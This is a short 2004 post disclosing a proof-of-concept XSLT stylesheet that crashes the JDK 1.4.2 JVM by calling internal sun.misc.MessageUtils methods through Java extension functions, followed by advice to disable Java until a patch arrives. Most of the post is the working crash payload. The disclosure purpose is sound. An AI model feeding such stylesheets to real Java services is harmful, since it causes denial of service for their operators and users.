Crashing the JVM with XSLT

Submitted by Marc Schoenefeld on Sat, 06/26/2004 - 01:06.


The XSLT parser in JDK 1.4.2 can be extended with java function. So I thought, how about using some nice sun.* functions and crash the whole d*mn via this fancy XSLT technology.

Code

<!-- XSLT JDK-Exploit by Marc Schoenefeld , marc@at@illegalaccess.org -->
<xsl:stylesheet version="1.0"
   xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 
               xmlns:sun="sun">

               <xsl:template match="/">
               <xsl:variable name="tmp" select="sun:misc.MessageUtils.toStdout(null)"/>

               <xsl:variable name="tmp2" select="sun:misc.MessageUtils.toStdout()"/>
               <xsl:value-of select="" />

               </xsl:template>
</xsl:stylesheet>

Solution

Until a patch becomes available, disable Java by going to: File -> Preferences -> Multimedia, and uncheck the "Enable Java" item.